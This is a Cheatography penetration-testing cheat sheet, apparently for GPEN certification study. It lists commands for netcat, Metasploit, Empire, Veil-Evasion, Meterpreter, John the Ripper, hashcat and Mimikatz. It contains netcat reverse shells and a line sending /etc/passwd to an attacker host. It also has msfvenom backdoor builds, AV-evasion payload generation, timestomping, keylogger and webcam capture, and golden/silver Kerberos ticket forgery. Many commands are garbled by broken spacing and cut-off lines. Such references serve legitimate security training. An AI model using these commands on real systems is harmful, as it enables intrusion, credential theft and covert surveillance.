Cheatography

Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

General Reconn

`fping -g  x.x.x.0 x.x.x.254 -a`	**Ping** sweep

Linux traceroute Options

`-4`	Forces IPv4
`-6`	Forces IPv6, same as traceroute6 command
`-I`	Uses ICMP echo
`-T`	Uses TCP SYN
`-f <fi rst _tt l>`	Starts from the hop specified instead of 1
`-g <ga tew ay>`	Routes packets through the gateway specified instead of the default
`-m <ma x_t tls>`	Specifies the maximum number of hops; default is 30
`-n`	Specifies not to resolve IP address to hostnames
`-w <wa it>`	Specifies the wait time, which can be in seconds or relative to the reply time between hops
`-p <po rt>`	Specifies the port

DNS Query

Netcat

Flags

`-l`

`-L`

`-u`

`-p`

`-e <fi len ame>`

`-n`

`-z`

`-w[N]`

nslookup	
`nslookup -norecurse -type=A google.com DNS_SR VR_IP`	DNS Snooping | nonrec-ursive query
`server [serve rIPaddr or name]`	use specific server
`set type=any`	set DNS record type
`ls -d [targe t_d omain]`	Perform a zone transfer of all records for a given domain
`ls -d [targe t__ domain] [> filename]`	Store zone transfer output in a file
`view [filename]`	view file

dig

`dig @[name server] [domain name] [record type]`	dig comand syntax
`dig +nocom ments @192.1 68.1.50 lab.local -t AXFR`	test if allows anonymous zone transfers
set norecurse	no recursive query, RD=0

```
-v
-vv
-e
```

General

```
nc -lvnp XX
```

SHELLS

```
nc IP PORT -e /bin/bash
```

```
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f |/b in/sh -
f
```

On target:

```
mknod backpipe p
nc --1 -p [allow ed_ inb oun d_port] 0<b ackpipe | nc
```

Attackers machine to connect:

```
ssh login_ nam e@[ tar get mac hine] -p [allow ed_ in
```

A really good explanation for this is on 560.3 book, P 152

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Netcat (cont)

Send Files

```
nc -l -p 8080 > filename
```

```
nc -w 3 attackerIP 8080 < /etc/p asswd
```

Scan ports

```
nc -v -n IP port
```

```
nc -v -w 2 -z IP_Address port_range
```

```
echo " " | nc -v -n —w1 [targetIP] [port— range]
```

Other Uses

```
while (true); do no -vv -z -w3 [targe b_IP] [targe t_port] > /dev/null && echo —e " \x0 7"; sleep 1; done
```

```
while `nc —vv -z —w3 [targe t_IP] [targe t_port] > /dev/null` ;do echo " Service is ok"; sleep 1; done; echo
 7"
```

alternative

```
nc -n -v -l -p 2222 < /tmp/w ina uth.pcap
```

```
nc.exe -n -v -w3 [YourL inu xIP addr] 2222 >C: \fo lde r\w ina uth.pcap
```

TCPDUMP | Monitoring

TCPDUMP | Monitoring (cont)

`-X`	Print hex and ASCII
`-A`	Print ASCII
`s [snaplen]`	Sniff this many bytes from each frame, instead of the defaul

Protocol:

`ether, ip, ip6 , arp, rarp, tcp, udp: protocol type`

Type:

`host [host]`	Only give me packets to or from that host
`net [network]`	Only packets for a given network
`port [portnum]`	Only packets for that port
`portrange [start —end ]`	Only packets in that range of ports

Direction:

`src`	Only give me packets from that host or port
`dst`	Only give me packets to that host

Use `and` / `or` to combine these together

Wrap in parentheses to group elements together

Hashcat

```
hashcat -m 1800 -a 0 -o foundr.txt crack1.hash 500_pa
```

```
hashcat --force -m 13100 -a 0 lab3.h ashcat /path/ to
how
```

PowerSploit/PowerView

`Invoke -Ke rbe ro ast`	Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes

Metasploit

General	
`tcpdump -nnv -i eth0`	start capturing traffic
`-n`	Use numbers instead of names for machines
`-nn`	Use numbers for machines and ports
`-i`	Sniff on a particular interface (—D lists interfaces)
`-v`	Be verbose
`-w`	Dump packets to a file (use —r to read file later)
`-x`	Print hex

Create Handler listener	
`use exploi t/m ult i/h andler`	
`set payload window s/x 64/ met erp ret er/ rev ers e_https` OR `window s/m ete rpr ete r/r eve rse_tcp`	
`set lhost AttackerIP`	
`set lport 443`	
`exploit -j -z`	Run in ackground
PS Session with valid creds	
`use auxili ary /ad min /sm b/p sex ec_ command`	

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Metasploit (cont)

```
set smbuser user
set rhost victimIP
set smbpass P4$$
set command " ipc onfig or any comman d"
run
```

Create backdoor - recognized by Defender :(

```
msfvenom -p window s/s hel l/r eve rse_tcp LHOST= [Attac kerIP] LPORT=8080 -f exe > /tmp/f ile.ex
e
msfvenom -p window s/x 64/ met erp ret er_ rev ers e_https LHOST= Att ackerIP LPORT=443 -f exe -o
 pwned.exe
```

Others

```
sessions -l
sessions -i [N]
press CTRL-Z
jobs
db_import /path/ to/ fil e/n map.xml
hosts -m " Windows 10" 192.16 8.1.10
services -u -p 135,445
sessions -h
sessions -K
```

Empire

set up an Empire HTTP listener

```
usestager window s/l aun che r_bat
set Listener http
execute
```

General

```
list agents
```

`interact AGENTID`	chose an agent
`download C:\Use rs \ali ce \Des kto p\s - ome.txt`	transfer file from agentPC

Timestomping

`upload /tmp`	upload content from /tmp to actual session directory
`usemodule manage men t/t ime stomp`	load timestomp module

Empire (cont)

`set ALL 03/02/2020 5:28 pm`	define time to be set in all datetime file properties
`set FilePath bank_l ogi n_i nfo rma tio n.txt`	set target file to be tampered
`execute`	run module

Others

`/opt/E mpi re- mas ter /do wnl oads/`	Empire Download's location
`sell powershell Get-Ch ildItem`	Run powershell command
get a list of sessions	
interact (-i) with session number [N]	
Background session	
Get background jobs	
?	Get command suggestions
Import scans from nmap	
Add comment to host	
Show UP hosts with Lports 135,445	
searchmodule privesc	search for modules
list help for sessions command	
kill a session	

configure a listener

listeners	getting a list of our listeners
options	options we have for our listeners
set StagingKey [Some_Secret_Value]	configure a custom staging key for encrypting communica-tions
set DefaultDelay 1	time between callbacks from our agent
execute	launch listener
list	check out our listene

deploy an agent

usestager	create and deploy an agent | [space][T-AB-TAB] To see available stagers
usestager 1auncher_bat	select stager
info	get info for actual stager

MSFDB - Metasploit Database	
Most useful database commands	
`db_connect [conne ct_ strin g]`	Connects to a database
`db_dis connect`	Disconnects from database
`db_driver`	Selects the database type
`db_status`	Displays the status of the database

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MSFDB - Metasploit Database (cont)

db_export	Exports database contents into a file, either xml (with hosts,ports, vulnerabilities, and more) or pwdump (with pilfered credentials)
hosts	Get list of hosts disvcovered
vulns	Get list of vulns that were found in scanned hosts
services	Get list of services running in gained hosts
hosts --add [host]	manually add hosts
services --add -p [port] -r [proto] -s [name] [hostl ,ho st2 ,...]	manually add services running in hosts
notes --add -t [type] -n '[note _text]' [hostl ,ho st2 ,...]	manually add notes to a host

If you delete a host, any services and vulns corresponding to that host_id will also disappear

db_nmap --sT 10.10.1 0.10 --pack et— trace	invoke Nmap directly from the msfconsole

Veil-Evasion (cont)

```
db_import [filename]
```

import data | automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus

```
hosts -S linux
```

searching for any hosts associated with linux, -S works for other items (vulns) as well

```
hosts -S linux -R
```

set result as RHOTS variable value

```
vulns -p 445
```

Look for vulnerabilities based on port number

Veil-Evasion

Start Veil-Evasion

```
cd /opt/V eil -Ev asion || /usr/s har e/veil
```

```
./Veil -Ev asion .py
```

General

`list`	get a list of all the different payloads that the tool can generate
`info powers hel l/m ete rpr ete r/r ev_ https`	et more information about any of the payloads
`clean`	Clean out any leftover cruft from previous use of Veil-Evasion,

Generate payload

`use info powers hel l/m ete rpr ete r/r ev_ https`	select the payload you want to generate
`options`	list options for actual item
`generate`	create the payload file

Generated files

`.bat`	This is the payload itself
`.rc`	This is the Metasploit configuration file (also known as a handler file) for a multi/-handler waiting for a connection from our payload.
`exit`	exit Veil-Evasion
`/usr/s har e/v eil -ou tpu t/s ource`	Veil-Evasion output directory

traceroute

Options	
`-f [N]`	Set the initial TI'L for the first packet
`-g [hostlist]`	Specify a loose source route (8 maximum hops)
`-I`	Use ICMP Echo Request instead of UDP
`-T`	Use TCP SYN instead of UDP (very useful!),with default dest port 80
`-m [N]`	Set the maximum number of hops
`-n`	Print numbers instead of names
`-p [port]`	port
	For UDP, set the base destination UDP port and increment
	For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)
`-w [N]`	Wait for N seconds before giving up and writing * (default is 5)
`-4`	Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)

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traceroute (cont)

-6	Force use of IPv6

John the Ripper

General

john.pot file	cracked password store
john.rec file	stores john's current stat
john --restore	picks up Where it left off based on the contents of the john.rec file
john --test	Check Speed Of SyStem
john hash.txt	run john against hash.txt file
john --show [passw ord _file]	compare which passwords John has already cracked froma given password file against itsjohn.pot file

Cracking LANMAN Hashes

john /tmp/s am.txt	By default, John will focus on the LANMAN hashes.

Cracking Linux Passwords

pw-inspector (Password Inspector) (cont)

-l	The password must contain at least one lowercase character.
-u	The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure —c 2 -l —u.)
-n	The password must contain at least one number
-p	The password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#$%"&*().
-s	The password must include characters not included in the other lists (such as nonprintable ASCII characters)

Meterpreter

Basic commands

? / help	Display a help menu
exit / quit	Quit the Meterpreter
sysinfo	Show name, OS type
shutdown / reboot	Self—explanatory
reg	read or write to the Registry

File System Commands

cd	Navigate directory structure
lcd	Change local directories on attacker machine
pwd / getwd	Show the current working directory
ls	List the directory contents, even 4 Windows
cat	Display a file's contents
download / upload	Move a file to or from the machine
mkdir / rmdir	Make or remove directories
edit	Edit a file using default editor

Process Commands

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getpid	Returns the process ID that Meterpreter is running in
getuid	Returns the user ID that the Meterpreter is running with
ps || ps -S notepa d.ex e	Process list

`cp /etc/p asswd /tmp/p ass wd_copy`	copy passwd file to your working directory
`cp /etc/s hadow /tmp/s had ow_copy`	copy shadow file to your working directory
`./unshadow passwd _copy shadow _copy > combin ed. txt`	Use the `u nshadow` script to combine account info from /etc/pass-wdwith password inform-ation from /etc/s-hadow
john combined. txt	Run John against the combined file
cat ~/.john/john.pot	Look at the Results in john.pot file

pw-inspector (Password Inspector)	
-i	input file
-o	output file
-m [n]	the minimum number of characters to use for a password is n
-M [N]	Remove all words longer than N characters
-c [count]	how many password criteria a given word must meet to be included in the list.

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Meterpreter (cont)

`kill`	Terminate a process
`execute -f cmd.exe -c -H`	Runs a given program channelized (-c) and hide proccess window (-H)
`migrate [desti nat ion _pr oce ss_ID]`	Jumps to a given destination process ID:
	*Target process must have the same or lesser privileges
	*May be a more stable process
	*When inside the process, can access any files that it has a lock on

Network Commands

`ipconfig`	show network config
`route`	Displays routing table, adds/deletes routes
`portfwd add -1 1111 -p 22 -r Target2`	SANS 560.3 Exploitation Page 67 for better understanding

On-target Machine commands

`screenshot -p [file.jpg]`	SC

Meterpreter (cont)

`keysca n_dump`

`keysca n_stop`

Pivoting Using Metasploit's Route Command

`use [exploit1]`

`set RHOST [victim1]`

`set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp`

`exploit`

`CTRL-Z`

`route add [victi m2_ subnet] [netmask] [Sid]`

`use [exploit2]`

`set RHOST [victim2]`

`set PAYLOAD [payloadZ]`

`exploit`

Do not confuse the Metasploit (msf) route command with the Meterpret
latter is used to manage the routing tables on a target box that has bee
Meterpreter payload. The msf route command is used to direct all traffic
from the attacker's Metasploit machine through a given Meterpreter ses
victim machine to another potential Victim.

Additional Modules

`use [modul ename]`

`idletime`	Show how long the user at the console has been idle
`uictl [enabl e/d isable] [keybo ard /mo use]`	Turn on or off user input devices

Webcam and Mic Commands

`webcam __list`	Lists installed webcams
`webcam _snap`	Snaps a single frame from the webcam as a JPEG: - Can specify JPEG image quality from 1 to 100, with a default of 50
`record_mic`	Records audio for N seconds (—d N) and stores in a wav filein the Metasploit .msf4 directory by default

Make sure you get written permission before activating either feature

Keystroke Logger

`keysca n_start`	poll every 30 milliseconds for keystrokes entered into the system

Others

`run schtas ksabuse -c " [co mma nd1 ][, com man d2]. targetIP]`

load kiwi

creds_all

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GPG

`gpg -d -o <Ou tpu tFi leN ame> <En cry pte dFi leN ame>`	decrypt a file

OVER-PASS-THE-HASH

1. Peform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
2. Perform TGS-REQ to KDC to get TGS
3. Use TGS to impersonate passw hash owner and use a service

Golden Ticket ATTACK

Requirements

- KDC LT key
- Domain admin account name
- Domain name
- SID of domain admin account

Commands

`.\mimikatz kerber os: :golden /admin :AD MIN ACC OUN TNAME /domai n:D OMA INFQDN /id:AC COU NTRID /sid:D OMA T GTP ASS WOR DHASH`	
`.\mimikatz kerber os::ptt file.txt`	create a golden ticket from file with PTT
`kerber os::tgt`	Get current session ticket details
`kerber os: :list /export`	Export ticket to a kirbi file
`kerber os::ptt file.kirbi`	Load / pass the ticket

Silver Ticket ATTACK

Silver Ticket ATTACK (cont)

`Import -Module DSInte rnals $pwd = Conver To- Sec ure`	
`mimikatz "kerbe ros ::g olden /admin :Im Admin /id:11 Ser viceSPN /ptt" exit`	
`misc::cmd ; klist ; use a command to connect to that`	
	(e.g. KRBTGT NTLM hash)

Trolling

Faking RIDs

1106 is "Anakin"

1159 is "Vader"

Result: User: Anakin | Real Context User: Vader

`/group s:5 12,519,51 8,519`	
`/id:9999`	
`/user:yourmom`	

Mimikatz

Command Reference for tickets attacks

`/domain`	domain's fqdn
`/sid`	SID of the Domain
`/user /admin`	username to impersonate
`/groups` (optional)	group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator's groups
`/ticket` (optional)	provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immedi- ately inject the golden ticket into memory for use.

Requirements	
• /target	target server's FQDN.
• /service	SPN
• /rc4	NTLM hash for the service (computer account or user account)
Steps	
whoami	get domain/SID
invoke -Ke rbe roa st.ps1	get SPN and Service user pass hash for cracking
Mimikatz "privi leg e:: debug" "sekur lsa ::l ogo npa ssw ords" exit	get Service password hash w/Mimikatz (if you have access to server hosting Vuln service)
hashcat " " $kr b5t gs$ 6$a cct $sv c/H OST :po rt$ XXX X…X XX"" dicti.txt hashcat -m 13100 hash .txt dicti.txt	Get unencr-ypted service password w/hashcat (If we didn't get NTLM hash) and hash it to NTLM

Mimikatz (cont)

/ptt	as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.
/id (optional)	user RID. Mimikatz default is 500 (the default Admin account RID).
/start offset (optional)	the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0.
/endin (optional)	ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
/renewmax (optional)	maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

Scapy (Packet crafting)

GPEN AIO Book - Lab 3-4: Scapy Introductory

scapy (as root)	starts library
help(f unc tion)	Get help for specific function
p = IP()/T CP( )/"F oo"	define blank packet
ls(p)	show packet info
p.show()	show packet info
summary	show packet info
ls(p[Raw])	view just the data
p[IP].s rc ="ip add res - "	set src address
p[IP].d st ="ip add res - "	set dst address
p[TCP].sp ort ="xx "	set src port
p[TCP].dp ort ="xx "	set dst port
p=IP/T CP/DATA	packet structure

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Metadata Analysis

```
./exiftool t/imag es/ Exi fTo ol.jpg >/r oot /ex if.out
```

ex ex ag the Ex ol.

strings —n 8 file.txt

sh str on ch lor

Recon-ng comands for whois_pocs

```
recon-ng
market place install all ; exit
workspaces create demo
modules load recon/ dom ain s-c ont act s/w hoi s_ pocs
options set SOURCE exampl e.com
run
show contacts
```

Cron

crontab -l	list job entries
crontab -e	edit job entries